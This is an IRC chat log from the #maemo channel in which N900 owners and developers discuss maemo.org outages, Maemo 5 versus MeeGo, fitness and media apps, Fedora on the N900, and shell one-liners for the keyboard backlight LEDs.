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| alterego | http://doc.qt.nokia.com/qtmobility-1.0-beta/index.html#platform-compatability | 14:27 |
| alterego | So, really, the mobility frameworkfor maemo5 is shockingly bad. | 14:27 |
| alterego | I suppose I could work on some of it myself ... | 14:29 |
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| the_file | can any1 open terminal and try to ping: 98.148.185.253 | 15:00 |
| the_file | tell me if its successfull please | 15:00 |
| C-S-B-N900 | did it | 15:01 |
| C-S-B-N900 | failed | 15:01 |
| Stskeeps | did we just ping the nsa? | 15:01 |
| Stskeeps | :P | 15:01 |
| reggna | 9 packets transmitted, 0 received, 100% packet loss, time 8062ms | 15:01 |
| the_file | naw | 15:01 |
| the_file | you pinged me =) | 15:01 |
| Termana | :P | 15:01 |
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| C-S-B-N900 | well, we tried. | 15:02 |
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| Trizt | still problems with m.org? | 15:04 |
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| RST38h | there is talk.maemo.org, it is up, you can go whine there! =) | 15:06 |
| Trizt | I don't whine there, never bothered to register for talk, only bugzilla | 15:07 |
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| ShadowJK | sadly, I don't remember a weekend when something.maemo.org wasn't down ;) | 15:10 |
| ShadowJK | It's a antigeek conspiracy! | 15:10 |
| Trizt | I think it's the windroidz who do everything to bring things down ;) | 15:10 |
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| RST38h | X-Fade only works on weekdays. | 15:11 |
| DocScrutinizer | weekend is ointment time for the 770 farm | 15:13 |
| DocScrutinizer | so occasionally you get a screen filled with grease instead a tmo-thread | 15:14 |
| DocScrutinizer | and HAM starts to act sluggish while wading thru all the oil | 15:15 |
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| TomaszD | is the GPS Logger Widget author around here? | 15:21 |
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| * VDVsx yawns and waves at RST38h :) | 15:21 | |
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| maddler | howdy! | 15:21 |
| * Dima_Sharihin wants to write apps on nokian900 too =) | 15:24 | |
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| RST38h | Heya VDVsx | 15:27 |
| RST38h | VDVsx: The incredible failing media player applet problem seems to be solved | 15:27 |
| VDVsx | VDVsx, never used that :) | 15:27 |
| VDVsx | 1.2 fix ? | 15:28 |
| Corsac | there's no 1.2 anyway, it's just a rumor! | 15:28 |
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| VDVsx | Corsac, ah right ;) | 15:30 |
| frals | Your code has been rated at 8.20/10 \o/ | 15:31 |
| VDVsx | frals, what games are you planning these days ? :D | 15:31 |
| VDVsx | *playing | 15:31 |
| frals | mostly eve-online and bad company2 | 15:32 |
| frals | but not had time to play in a while, kinda busy atm ;) | 15:32 |
| VDVsx | lol, my question was about your last sentence^ | 15:33 |
| RST38h | VDVsx: No. Surprisingly, it was due to other applets | 15:33 |
| RST38h | VDVsx: OMWeather in my case, USSD in someone else's | 15:34 |
| VDVsx | oh | 15:34 |
| frals | oh, that was pylint going over fmms! | 15:34 |
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| VDVsx | what happened to tmo ? community sub-forum only has 4 pages 0.o | 15:36 |
| alterego | I think tmo has dfinally reached critical mass with the PR1.2 thread .. | 15:37 |
| alterego | It has caused the whole site to being collapsing in on itself. | 15:37 |
| Dima_Sharihin | Maybe better to close the thread??? | 15:37 |
| alterego | Soon it will turn into a black hole and engulf the entire internet. | 15:37 |
| Stskeeps | VDVsx: archiving? | 15:37 |
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| frals | i wonder... | 15:39 |
| frals | http://talk.maemo.org/showthread.php?p=650350#post650350 | 15:39 |
| alterego | Today, I'm going to attempt to drive the TV out with something other than the mirrored desktop. | 15:39 |
| frals | why would you create that under meego/harmattan subforum? | 15:39 |
| alterego | I had issue earlier, but closing the tabs and reloading fixed it for me. | 15:39 |
| alterego | It was global over the whole maemo.org domain for me, wiki, planet and talk. | 15:40 |
| alterego | Hah. | 15:40 |
| alterego | I'd be inclined to it being related to the caching. | 15:40 |
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| summel | oO who hosts maemo.org? | 16:00 |
| Dima_Sharihin | Domain: maemo.org | 16:01 |
| Dima_Sharihin | Admin Name:Nokia dnsauthority | 16:01 |
| Dima_Sharihin | Admin Organization:Nokia Corporation | 16:01 |
| Dima_Sharihin | summel, So what? | 16:01 |
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| summel | maemo.org is down at least once every week -_- | 16:02 |
| Dima_Sharihin | orly? | 16:02 |
| Dima_Sharihin | summel, maybe they updating the information? or changing content =) | 16:03 |
| summel | so what? i can do that without taking the whole website down -_- | 16:04 |
| summel | i already hate it that apple is too stupid to put new items in their webshop without shutting it down completely for that | 16:04 |
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| Corsac | well, they do that in purpose | 16:05 |
| Corsac | shut the AS down and you have buzz everywhere | 16:05 |
| summel | i know they do it on purpose | 16:05 |
| summel | but imho it still looks stupid | 16:05 |
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| pupnik | i cant believe how lame the iphone is | 16:09 |
| Cabletwitch | No no, its a training phone. | 16:09 |
| Cabletwitch | When people begin to see the limitations on it, then they look for something better. | 16:09 |
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| alterego | AActually, most people put up with it until it dies and then get something that isn't an iPhone, whether it's better or not, people get quite annoyed by it and move on quite a lot. | 16:11 |
| pupnik | heheh | 16:12 |
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| alterego | I think all the poeple I know, except one, won't buy another iPhone and are planning on going down the Android or Nokia route. | 16:12 |
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| Cabletwitch | I'm actually impressed at how painless the N900 is, as a user experience. | 16:12 |
| alterego | I think the biggest problem with Maemo 5, is it's UI isn't as polished as Android/iPhone | 16:13 |
| alterego | It kind of looks a bit amateur to me. | 16:13 |
| GAN900 | Less the UI and more the buggy experience. | 16:13 |
| alterego | I dunno, I don't really have much of an issue with the "UX". | 16:13 |
| GAN900 | I think the vast majority of people see the look as a major upgrade. | 16:13 |
| alterego | Oh sure, it's much nicer than any other Nokia, | 16:14 |
| GAN900 | The fact that a lot of shit just don't work drives people away. | 16:14 |
| pupnik | eh what buggy experience | 16:14 |
| GAN900 | pupnik, Modest | 16:14 |
| GAN900 | MicroB | 16:14 |
| alterego | Admittedly, I don't use Modest, | 16:14 |
| alterego | MicroB back button on the toolbar is the only that pisses me off :) | 16:14 |
| GAN900 | Incomplete or unstable things | 16:14 |
| GAN900 | alterego, fixed in PR1.2 | 16:14 |
| summel | what is modest? | 16:15 |
| alterego | GAN900: what's PR1.2? Not that vapour ware everyone has been ranting about :) | 16:15 |
| GAN900 | pupnik, keep in mind that these things are all rather subjective. | 16:15 |
| pupnik | use back arrow instead | 16:15 |
| GAN900 | Whule it may not bother us or we may have workarounds or whatever, other people often find it enough to make them hate the platform | 16:15 |
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| alterego | Well, maemo is seen as a phone OS. Which is sad, because maemo is the first "phone OS" to come from a computing background. | 16:16 |
| alterego | Where as other phone OS' are built for purpose, maemo's phone functionality was a last minute addition to the N900. | 16:17 |
| GAN900 | "Nice to see you post here" PM on Talk. Weird. | 16:17 |
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| alterego | I always expected the N900 to not have any GSM voice capability and only supply a 3G data connection. Though, that might be too iPad for some people now ^.^ | 16:17 |
| GAN900 | alterego, what it really comes down to is Nokia needs to stop cutting the legs out from under the platform. | 16:18 |
| alterego | Well, hopefully the move to Qt will be the last major leg cutting move. | 16:18 |
| Trewas | alterego: maemo5 being the last of its kind and already dead makes is kind of irrelevant what it is or what it was supposed to be | 16:18 |
| alterego | maemo has been a bit of a moving target developer wise, thoguh at least they were consistantly Gtk/hildon :) | 16:18 |
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| alterego | Well, I'm not realy in the camp that maemo is dead. | 16:19 |
| alterego | Because maemo is the community of developers and the idea behind a linux based open platform for mobile MID devices. | 16:19 |
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| alterego | meego takes that idea a bit further. | 16:20 |
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| Trewas | sure, some things may carry over to meego or whatever is the future... but right ow there is very little reasons to do anything with maemo5/hildon | 16:20 |
| alterego | With the addition of Qt, should do it much better too. | 16:20 |
| alterego | Trewas: sure there is, do you like your N900? :P | 16:20 |
| alterego | If you want an app on your N900, write it for the N900. MeeGo will never officially be released for the N900, though a lot of people may use some community maintained builds. | 16:21 |
| Trewas | alterego: it's not bad, but I have become a bit jaded :) | 16:21 |
| alterego | I reckon, PR1.2 will be the last update for the N900, officially, which is the last that your normal user camp will see. | 16:21 |
| alterego | So come the end of this year and into next year, and probably the next few years. There are going to be a load of N900 users, that still need apps. | 16:22 |
| TomaszD | what you reckon is not reality alterego | 16:22 |
| GAN900 | alterego, I wouldn't say never with total surety yey | 16:22 |
| GAN900 | yet | 16:23 |
| TomaszD | PR1.3 has been mentioned a couple of times already | 16:23 |
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| alterego | GAN900: agreed, the mention of the N900 being the meego reference platform is nice. | 16:23 |
| GAN900 | At least without defining WTF you mean by "MeeGo" | 16:23 |
| * GAN900 sighs | 16:24 | |
| GAN900 | TomaszD, also: PR2 | 16:24 |
| VDVsx | biased uty honest comment: Since I started using the N900 as my main phone I can't switch to other device, used Symbian/android in the last weeks both are a bit behind for my personal use :P | 16:24 |
| alterego | But I thought the addition to Qt officially in a maemo release might be to enable developers moving to meego the ability to easily backport to maemo5 for the poeple that get left behind. | 16:24 |
| TomaszD | GAN900, that I didn't know, link? :) | 16:24 |
| GAN900 | TomaszD, erm. . . . | 16:24 |
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| GAN900 | VDVsx, except for that stupid Nokia PoS in BCN? :P | 16:24 |
| TomaszD | I wasn't joking about PR1.3 being mentioned by Nokia employees in the bug tracker | 16:25 |
| adalal | hey, anyone knows of a proper installation and configuration help page for titan's v25 kernels? | 16:25 |
| GAN900 | I wasn't joking, either | 16:25 |
| TomaszD | so [citation needed] :) | 16:25 |
| GAN900 | But I don't have a link | 16:25 |
| GAN900 | Well, may need to trust me. :P | 16:25 |
| VDVsx | GAN900, seriously if you have a unlimited data plan, the N900 is a very good device | 16:25 |
| TomaszD | trust me, I won't :) | 16:25 |
| VDVsx | without is not so good :p | 16:26 |
| * GAN900 shrugs | 16:26 | |
| alterego | I like toys, the N900 is perfect for me :P | 16:26 |
| GAN900 | VDVsx, ah, Nokia plan, then? :P | 16:26 |
| VDVsx | unlimited data plan, normal one, who pays for that doesn't matter ;) | 16:27 |
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| Trewas | it is a bit sad that there is still no N900 software comparable to some in my previous very basic symbian phone (like nokia's own maps, or sports tracker)... probably pr1.2/gt4.6 being delayed to infinify does not help | 16:29 |
| Surfa | ecoach has it's benefits | 16:29 |
| alterego | I think people are expecting far too much from a minor firmware release. | 16:29 |
| VDVsx | Trewas, I heard that ecoach work great (sportts tracker alternative) | 16:29 |
| alterego | PR1.2 wont include a load of new applications. | 16:29 |
| Trewas | VDVsx: I have it, but at least the version in extras (maybe it has some upgrades -devel) is far from sports tracker when comparing features | 16:30 |
| VDVsx | Trewas, request new features :) | 16:30 |
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| VDVsx | you can help improve the app | 16:31 |
| VDVsx | :D | 16:31 |
| frals | only thing missing when i tried ecoach was uploading to sportstrackersite | 16:31 |
| VDVsx | frals, you can upload to other site | 16:32 |
| chem|st | morning | 16:32 |
| TomaszD | manual gpx uploads to sportstracker are shit | 16:32 |
| VDVsx | can't remember the name | 16:32 |
| TomaszD | mapmytracks.com is what I use | 16:32 |
| TomaszD | at least it works with gpx files | 16:32 |
| chem|st | has anyone an idea how to playback music syncronous with 3 computers? | 16:33 |
| VDVsx | this one-> http://www.heiaheia.com/account | 16:33 |
| VDVsx | for ecoach | 16:33 |
| Trewas | ecoach is missing all nice graphs what sports tracker can display :) | 16:34 |
| TomaszD | yeah, but you get nice graphs on the web anyway | 16:34 |
| chem|st | alterego: but alot of fixes patches and some enhancement | 16:34 |
| TomaszD | I don't use ecoach as I don't think it's more useful without a data connection than the simple gps logger widget | 16:34 |
| alterego | chem|st: exactly, but nothing ground breaking from a user's perspective. Which is why my mind boggles at all the PR1.2 "delay" complaints. | 16:35 |
| Trewas | TomaszD: that may be, but sports tracker does not *require* using a website with it for some useful functionality | 16:35 |
| TomaszD | true | 16:35 |
| frals | Trewas: err, ecoach got speed and altitude/distance afaik, what else does sportstracker have? | 16:35 |
| chem|st | alterego: true... but I have to keep up with them... | 16:36 |
| Trewas | frals: hrm, should I enable -devel? I may have some old version :) | 16:36 |
| flux | sportstracker has a nicer user interface. | 16:36 |
| frals | the one i tried a week or so ago had some graphs at least, didnt pay much attention as i waso nly interested in distance and time :D | 16:36 |
| chem|st | alterego: you just blank it I have to actualy read the thread and decide what to do with it | 16:36 |
| alterego | I don't mind the thread, I think it's pretty hilarious. | 16:37 |
| alterego | And I don't really care if it tarnishe's the N900's reputation, because in a few months when the next device comes out. That wont matter. | 16:38 |
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| RST38h | alterego: Of course, the next device is always the best | 16:39 |
| RST38h | And the current device is always unsupported. | 16:39 |
| alterego | :) | 16:39 |
| mbatle | is there any problem with coroutines ? I'm trying to call a function that has a yield inside from a gui code, if the function has the yield it does not get called, if the function has not the yield it gets called ... :/ | 16:40 |
| * Cabletwitch wonders if there are plugins for the N900's media player for mod files and the like? | 16:40 | |
| TomaszD | Cabletwitch, there is MOD support in devel or -testing | 16:40 |
| mbatle | sorry, wrong channel :P | 16:40 |
| TomaszD | or maybe even stable now | 16:40 |
| TomaszD | Cabletwitch, Extra Decoders Support is also good (shameless plug) | 16:41 |
| * Cabletwitch goes to have a look | 16:41 | |
| Cabletwitch | Holy crap | 16:42 |
| Cabletwitch | I go to maemo.org, and whats the selected plugin on the front page? XD | 16:42 |
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| TomaszD | just go to the app manager itself | 16:43 |
| Cabletwitch | Oh, I know how to get the stuff. | 16:43 |
| merlin1991 | hm http://maemo.org/ gives me a blank page, WTF? | 16:44 |
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| Cabletwitch | Fine here | 16:44 |
| VDVsx | fine here :D | 16:44 |
| Cabletwitch | Tracker Music Module Support v1.0.4 | 16:44 |
| Cabletwitch | Literally, just what I was after XD | 16:44 |
| Cabletwitch | Stable too. | 16:45 |
| Cabletwitch | I wonder... | 16:45 |
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| adalal | anyone here familiar with the new titan v25 kernel? | 16:45 |
| * Cabletwitch would REALLY like £100k right now... | 16:45 | |
| * Cabletwitch refreshes maemo.org | 16:45 | |
| Cabletwitch | Aww, crap. | 16:45 |
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| Cabletwitch | TomaszD: I couldnt remember, but I just checked, I do have the extra codecs you mentioned. | 16:46 |
| merlin1991 | everything that isn't talk.maemo.org gives me a blank page :( | 16:46 |
| Cabletwitch | Works fine here, Merlin | 16:47 |
| Cabletwitch | Hmm, is there any way to browse shared folders with this thing? | 16:48 |
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| BCMM | what sort of shared folders? | 16:49 |
| Cabletwitch | Just your bog standard windows jobby. | 16:50 |
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| Cabletwitch | Via wifi. | 16:50 |
| merlin1991 | afaik there is no sambaclient yet | 16:50 |
| Cabletwitch | Not so fussed about going outside the network via GPRS, mainly just so I can poke through my files in shared folders and whatnot, saves faffing with the USB cable. | 16:51 |
| Cabletwitch | Ahh, ok. | 16:51 |
| BCMM | Cabletwitch: http://talk.maemo.org/showthread.php?t=11836 seems relevant | 16:51 |
| BCMM | (haven't actually read it) | 16:51 |
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| BCMM | Cabletwitch: the windows file and printer sharing protocl is known as SMB | 16:51 |
| BCMM | and the popular linux implementation of it is called Samba | 16:52 |
| Cabletwitch | Aye, I'm aware of this. | 16:52 |
| BCMM | Cabletwitch: oh, sorry | 16:52 |
| Cabletwitch | I'm only a few notches above completely new, but not totally without clues ;O) | 16:52 |
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| BCMM | Cabletwitch: sorry, i assumed unreasonably from "bog standard windows jobby" | 16:53 |
| Cabletwitch | S'ok, its good to see people actually explaining stuff. | 16:53 |
| BCMM | Cabletwitch: it's actually very hard to tell in this channel | 16:53 |
| Cabletwitch | Eh, I'm no network tech, but I'm not your average clueless user either. | 16:53 |
| BCMM | probably because you don't know if they are coming from a Windows or Linux background | 16:53 |
| BCMM | is one of the skins for the maemo forums suitable for portrait browsing? | 16:54 |
| Cabletwitch | The N900 is my first dabble with linux. I managed ot lock myself out of the Suse test rig I built years ago, and gave up back then XD | 16:54 |
| merlin1991 | I'm not alone: http://talk.maemo.org/showthread.php?t=52229 | 16:54 |
| alterego | merlin1991: try closing your browser and opening it again .. | 16:54 |
| BCMM | Cabletwitch: lock out as in break it or as in lose password? | 16:55 |
| merlin1991 | alterego did that already | 16:55 |
| alterego | Hrm, worked for me. Oh well :P | 16:55 |
| Cabletwitch | the latter. | 16:55 |
| Dima_Sharihin | merlin1991, host maemo.org is down. So what? | 16:55 |
| Cabletwitch | Mind you, I wasnt really up for messing with it at the time, so it was more a self-defeat. | 16:55 |
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| BCMM | Cabletwitch: heh, it's actually pretty easy to break into a linux box, with physical access (for most distros) | 16:56 |
| BCMM | gah, how did that happen? | 16:56 |
| BCMM | oh, that's just me failing to use IRC | 16:56 |
| BCMM | nm | 16:56 |
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| Cabletwitch | Maemo.org isnt down, unless I'm connecting to it in another dimension. | 16:56 |
| BCMM | Cabletwitch: it doesn't matter a great deal, since physical access always means you can root a system | 16:56 |
| BCMM | but on most distros, by default, getting into a shell to change the root password just needs a few seconds of typing stuff into GRUB before boot | 16:57 |
| Cabletwitch | BCMM: True, but I dont tend to mess with any OS in that depth. I'm primarily a gamer, I've no need to screw with the system in ways untold. | 16:57 |
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| Dima_Sharihin | merlin1991, yeah. try https:// instead of http:// | 16:57 |
| merlin1991 | Dima_Sharihin thanks, now I just need a user :P | 16:58 |
| adalal | merlin1991: it's not showing upfor me either.... | 16:58 |
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| Dima_Sharihin | adalal, merlin1991 http://img576.imageshack.us/img576/8880/23221490.png, look, guys | 16:59 |
| adalal | Dima_Sharihin: where are you at? | 17:00 |
| Dima_Sharihin | adalal, I'm in Russia :P | 17:00 |
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| adalal | Host 80.248.164.250 (maemo.org) is unreachable from here | 17:00 |
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| adalal | Host 74.86.202.247 (talk.maemo.org) is | 17:01 |
| Dima_Sharihin | adalal, type in your browser : https://maemo.org | 17:01 |
| Dima_Sharihin | HT | 17:01 |
| Dima_Sharihin | *SECURE CONNECTION! | 17:01 |
| adalal | the unsecure connection isn't working, but the secure is.. how weird | 17:02 |
| korhojoa | oh em gee el oh el | 17:02 |
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| adalal | anywways, anyone here can help me with titan's kernel? maemo25? | 17:02 |
| BCMM | maemo forum themes need to be off the list, right? no custom CSS? | 17:03 |
| * Cabletwitch isnt running the secure connection, and the website is working fine... | 17:04 | |
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| Dima_Sharihin | Cabletwitch, using unsecure connection returns an empty page on request on my computer | 17:04 |
| * merlin1991 turns on wireshark and will check the traffic :D | 17:04 | |
| Dima_Sharihin | merlin1991, why? | 17:05 |
| Cabletwitch | I guess I AM using the server from another dimension. | 17:05 |
| Cabletwitch | And no, PR1.2 isnt out there either. | 17:05 |
| merlin1991 | because I want to see what exactly happens :D | 17:05 |
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| Dima_Sharihin | merlin1991, I think, you wouldn't find anything interesting =) | 17:06 |
| pupnik | i cant get phototranslate running yet. trying to find the right libqt4 libraries | 17:07 |
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| merlin1991 | Dima_Sharihin yeah didn't find anything :D | 17:08 |
| merlin1991 | but I'm scared though what I found | 17:09 |
| Dima_Sharihin | ??? | 17:09 |
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| merlin1991 | I have tons of http traffic running even though my browser and everything that should do http crap is turned off :D | 17:10 |
| Dima_Sharihin | merlin1991, which browser do you use? | 17:10 |
| merlin1991 | mozilla | 17:10 |
| merlin1991 | err firefox :D | 17:10 |
| Dima_Sharihin | huh... may be =] | 17:11 |
| * Dima_Sharihin using Chrome =) | 17:11 | |
| Arkenoi | is there any WIP to make fMMS a telepathy plugin? | 17:13 |
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| merlin1991 | ah well it's ssdp crap that gets marked as http for some reason | 17:14 |
| jacekowski | i don't think you can send pictures with telepathy | 17:14 |
| timeless_mbp | merlin1991: um | 17:16 |
| timeless_mbp | you realize that just about everything uses http, right? | 17:16 |
| timeless_mbp | if you have a proxy configured, you're probably using http w/ it | 17:16 |
| adalal | again, any one here aware of how to use titans v25 kernel? | 17:16 |
| timeless_mbp | if you're using some random communication protocol, there's an even chance it's using http | 17:16 |
| timeless_mbp | if you have application manager configured w/ repositories, it's using http | 17:16 |
| timeless_mbp | (mms actually ends up speaking http'ish to servers too) | 17:17 |
| DocScrutinizer51 | friggin farts-over-http | 17:18 |
| BCMM | adalal: It would appear that nobody here is | 17:19 |
| adalal | fine | 17:20 |
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| adalal | i'll b back later | 17:20 |
| adalal | cya | 17:20 |
| DocScrutinizer51 | some devels seems to think there's been no other protocol prior to http, and there's no chance for anz better protocol | 17:20 |
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| lcuk | pupnik, phototranslate? | 17:21 |
| DocScrutinizer51 | uh? | 17:21 |
| DocScrutinizer51 | ooh I need glasses | 17:22 |
| DocScrutinizer51 | read phototransistor | 17:22 |
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| BCMM | adalal: http://wiki.maemo.org/Kernel_Power - i think this is all there is | 17:23 |
| BCMM | if that isn't enough, i suggest you avoid breaking your device | 17:24 |
| BCMM | adalal: http://wiki.maemo.org/Kernel_Power#Configuring_the_kernel_settings_.28of_the_experimental_version_from_extras-devel.29 , i mean | 17:25 |
| Arkenoi | actually i never received an MMS for several months. i mean, no one even tried to send it to me ever since i got n900 and it happened just 2 times previous year. | 17:25 |
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| merlin1991 | hm is there a documentation off all systemwide keyboardshortcuts somewhere? | 17:26 |
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| b-man | i finally got right click working in Fedora12 on my N900 :) http://b-man.xceleo.org/images/fedora/Screenshot-11.png | 17:29 |
| pupnik | oy how b-man | 17:30 |
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| b-man | all it really required was the libgtkstylus package that i compiled from OpenSUSE sources and a simple little xsessions script | 17:32 |
| DocScrutinizer | I never sent or received a MMS in my life. Naah wait, one time we tried to send a video with 'happy birthday' to a friend, from another friend's cellphone, but it never arrived | 17:32 |
| b-man | not sure why Fedora doesn't provide libgtkstylus in their distro | 17:32 |
| lcuk | i think b-man is a really cool guy. eh makes right click work and doesn't afraid of anything | 17:32 |
| b-man | lol | 17:32 |
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| lcuk | that looks ocol, is it done by long tap? | 17:33 |
| lcuk | or a modifier? | 17:33 |
| b-man | yup | 17:33 |
| b-man | just a long tap :) | 17:33 |
| lcuk | cool enough | 17:33 |
| lcuk | how well does it run? | 17:34 |
| lcuk | not just the taps | 17:34 |
| lcuk | i mean the system overall | 17:34 |
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| b-man | it runs quite well | 17:34 |
| b-man | although there will be a slight pause occasionally | 17:34 |
| b-man | but swap takes care of that :) | 17:35 |
| lcuk | everybody has slight pauses | 17:35 |
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| b-man_f12-rx51 | :) | 17:37 |
| lcuk | MohammadAG, 'wow' moments thread: http://talk.maemo.org/showthread.php?p=650497#post650497 | 17:37 |
| Dima_Sharihin | b-man, I think, the interface of fedora12 looks better than hildon =))) | 17:37 |
| b-man_f12-rx51 | indeed xD | 17:38 |
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| lcuk | b-man_f12-rx51, videos? | 17:38 |
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| b-man_f12-rx51 | don't have videos yet | 17:39 |
| MohammadAG | lcuk, hehehe :) | 17:39 |
| b-man|laptop | i still need to get BME working, right now it just drains the battery lol | 17:40 |
| b-man|laptop | (can't charge) | 17:40 |
| b-man_f12-rx51 | i also need to make a proper xmodmap | 17:40 |
| alterego | MohammadAG: that's nice :) | 17:41 |
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| b-man_f12-rx51 | right now it's just using xkb from maemo | 17:41 |
| b-man_f12-rx51 | so i have most of the keys working | 17:41 |
| MohammadAG | alterego, might put up lcuk's version tomorrow :) | 17:41 |
| alterego | MohammadAG: using sysfs? | 17:42 |
| b-man_f12-rx51 | but i also need to get mce working | 17:42 |
| MohammadAG | alterego, yeah | 17:42 |
| b-man_f12-rx51 | which should not take too long | 17:42 |
| Dima_Sharihin | b-man_f12-rx51, could you make phone calls using f12? | 17:42 |
| alterego | MohammadAG: which interface? presumable leds? is that the lp5523:kbX stuff? | 17:43 |
| korhojoa | b-man_f12-rx51: how the deuce did you get right click? | 17:43 |
| SpeedEvil | alterego: yes | 17:43 |
| alterego | Cool | 17:43 |
| MohammadAG | alterego, ^ | 17:43 |
| * SpeedEvil notes he did the knight-rider thing 5 months ago. | 17:43 | |
| b-man_f12-rx51 | Dima_Sharihin: theoretically yes :) | 17:43 |
| alterego | Heh | 17:43 |
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| * MohammadAG slaps SpeedEvil for not releasing it | 17:43 | |
| b-man_f12-rx51 | korhojoa: libgtkstylus+xsession script | 17:44 |
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| SpeedEvil | MohammadAG: I did! | 17:44 |
| SpeedEvil | MohammadAG: I typed it right here. | 17:44 |
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| MohammadAG | SpeedEvil, I wasn't "here" 5 months ago ;) | 17:45 |
| MohammadAG | (can't bother to go back 5 months into the povbot logs) | 17:45 |
| MohammadAG | knowing SpeedEvil he'll either not reply or link me to the logs | 17:47 |
| DocScrutinizer51 | ehlo MohammadAG | 17:47 |
| crashanddie | SpeedEvil: actually, there's only one reference to "knight rider" and "speedevil" in the povbot logs | 17:47 |
| crashanddie | http://mg.pov.lt/maemo-irclog/%23maemo.2009-09-25.log.html | 17:47 |
| MohammadAG | hey DocScrutinizer51 | 17:47 |
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| SpeedEvil | 2010-01-25.230051+0000GMT.txt:(08:35:33 AM) SpeedEvil: for x in /sys/class/leds/*kb*;do echo 100 >$x/brightness;done | 17:49 |
| alterego | SpeedEvil: strange how that file doesn't reflect the state of the backlight when it's on normally .. | 17:49 |
| SpeedEvil | yeah | 17:50 |
| alterego | for x in /sys/class/leds/*kb*; do echo 100 > $x/brightness; done | 17:50 |
| alterego | for x in /sys/class/leds/*kb*; do echo 50 > $x/brightness; done | 17:50 |
| alterego | Hah | 17:50 |
| lcuk | MohammadAG, i twitted the link to the liqbubbles code (which has the keyboard lighting in) last night | 17:50 |
| DocScrutinizer51 | haha | 17:50 |
| alterego | cut&paste fail. | 17:50 |
| lcuk | to the liqbubbles code | 17:50 |
| MohammadAG | lcuk, now push to -devel :) | 17:51 |
| lcuk | meh that requires package and icons | 17:51 |
| MohammadAG | lcuk, it can be made into a daemon right? | 17:51 |
| alterego | How come they don't stay on? | 17:51 |
| lcuk | yours is closer i made you a proto debian | 17:51 |
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| lcuk | alterego, they get turned on and off | 17:51 |
| SpeedEvil | alterego: I think it's MCE | 17:51 |
| lcuk | any combination can remain on | 17:51 |
| MohammadAG | alterego, blame mce | 17:51 |
| alterego | Heh, m'kay | 17:51 |
| alterego | Is that why youcan only do flashing effects MohammadAG ;) | 17:52 |
| MohammadAG | or shut it down and they *SHOULD* stay on | 17:52 |
| MohammadAG | actually | 17:52 |
| lcuk | http://twitter.com/lcuk/status/13642303906 | 17:52 |
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| lcuk | alterego, see that | 17:52 |
| MohammadAG | R&D | 17:52 |
| DocScrutinizer51 | for x in 1 2@e 4 5 6 5 43 2; do echo 200 >kb$x/brightness; sleep 0.5= echo 0 >kb$x/brightness; done | 17:52 |
| lcuk | pressing nearest key to the light illuminates it | 17:52 |
| lcuk | and keeps it on | 17:52 |
| lcuk | turns the keyboard into a 6 key chord | 17:52 |
| Dima_Sharihin | DocScrutinizer, what are you doing with backlight? О_о | 17:53 |
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| alterego | I almost managed to get maemo to boot in qemu | 17:53 |
| alterego | Unfortunately, it seems one of the drivers kills it. | 17:53 |
| alterego | Stops init somehow. | 17:53 |
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| DocScrutinizer51 | Dima_Sharihin: made yours explode :-P | 17:53 |
| lcuk | MohammadAG, ill make the package for it in a bit | 17:55 |
| alterego | I think it's the SGX stuff .. | 17:55 |
| alterego | Then I get: omap-mcbsp omap-mcbsp.2: McBSP FIR load error! | 17:55 |
| alterego | Still getting quite a bit of dmesg activity though. | 17:56 |
| alterego | But login prompt becomes unresponsive. | 17:56 |
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| deafboy | hello there | 18:11 |
| pupnik | mahlzeit | 18:12 |
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| deafboy | can I ask someone with workink maemo 5 sdk for a favour? :P (or am I on right place to ask for help?) | 18:13 |
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| deafboy | I was looking for the app called sbagen, but cannot find it. Maybe it was not ported to maemo yet. There is some ARM version on official site of project, but I cannot run in on n900 | 18:15 |
| Dima_Sharihin | lol. I tried to install the maemo sdk 5 or more times... every time it failed | 18:15 |
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| deafboy | there is source code available on http://uazu.net/sbagen/#download if there is anyone who can compile it I woud be verry happy :P | 18:17 |
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| johnsq | Hi | 18:29 |
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| MohammadAG | hey johnsq | 18:29 |
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| thecat | johnsq: Can i ask something via Q ? | 18:33 |
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| johnsq | thecat: ask the original Q | 18:46 |
| DocScrutinizer51 | ~ask | 18:48 |
| infobot | Questions in the channel should be specific, informative, complete, concise, and on-topic. Don't ask if you can ask a question first. Don't ask if a person is there; just ask what you intended to ask them. Better questions more frequently yield better answers. We are all here voluntarily or against our will. | 18:48 |
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| deafboy | still waiting for some good soul who can compile sbagen for me :) | 18:51 |
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| RST38h | < | 19:06 |
| b-man|laptop | 19:07 | |
| zlimvos_ | any ideas, easiest way to transfer contacts from windows mobile to maemo contact book (n900) | 19:08 |
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| zlimvos_ | with no installation of outlook involved :) | 19:09 |
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| Ken-Young | zlimvos, THis may not be the easiest way, but exporting them as vCard format. and reading them in on the N900 works. | 19:10 |
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| zlimvos | ok i thought vcard is for one by one contacts | 19:11 |
| Ken-Young | zlimvos, I was able to export all my gmail contacts that way, in a single file. | 19:12 |
| haltdef | my WM phone was setup to sync with google apps, I just made my n900 do the same and it imported everything :p | 19:12 |
| zlimvos | hehe cheers haltdef this is even better. so i have also my contacts online | 19:12 |
| zlimvos | and ofcourse mother google as well :/ | 19:13 |
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| Shapeshifter | huh | 19:22 |
| Shapeshifter | that pattern is awesome. I didn't know parts of the keyboard could be turned off independently | 19:23 |
| SpeedEvil | Shapeshifter: yup | 19:23 |
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| Shapeshifter | so there are 6 independent leds | 19:26 |
| SpeedEvil | THERE ARE FOUR LIGHTS! | 19:27 |
| SpeedEvil | err - yes - 6 | 19:27 |
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| SpeedEvil | and the IR LED, and the red LED on the camera, and the flash, and the backlight, of course | 19:28 |
| SpeedEvil | Oh - and power LED | 19:28 |
| SpeedEvil | And the prox sensor | 19:29 |
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| Cabletwitch | Can anyone else make out the backlights though the screen on their 900? | 19:30 |
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| SpeedEvil | Yes - but not as distinct lights | 19:31 |
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| SpeedEvil | It's a real pity the backlight LEDs are not individually controllable | 19:31 |
| Cabletwitch | Huh, must just be my unit then. | 19:31 |
| lcuk | SpeedEvil, can they be controlled individually? | 19:31 |
| Funnyface | I have lots of points on the screen that look like cracks | 19:31 |
| lcuk | lol | 19:31 |
| Funnyface | especially visible on white | 19:31 |
| lcuk | you been watching too much doctor who | 19:31 |
| Cabletwitch | I have a couple in the center and right side that are somewhat visible when the screen is fully white, such as a webpage background. | 19:32 |
| lcuk | can you show me what you mean? | 19:32 |
| Cabletwitch | Sure, let me press my N900 to the screen... | 19:32 |
| lcuk | ith a photo | 19:32 |
| SpeedEvil | lcuk: If they were - it raises all sorts of fun uses - like sunlight visible 'patches' - even with the screen mostly off, to save power | 19:32 |
| lcuk | yeah SpeedEvil | 19:32 |
| lcuk | taking the thing from MohammadAG's AV meter - i made it do that for the keyboard | 19:32 |
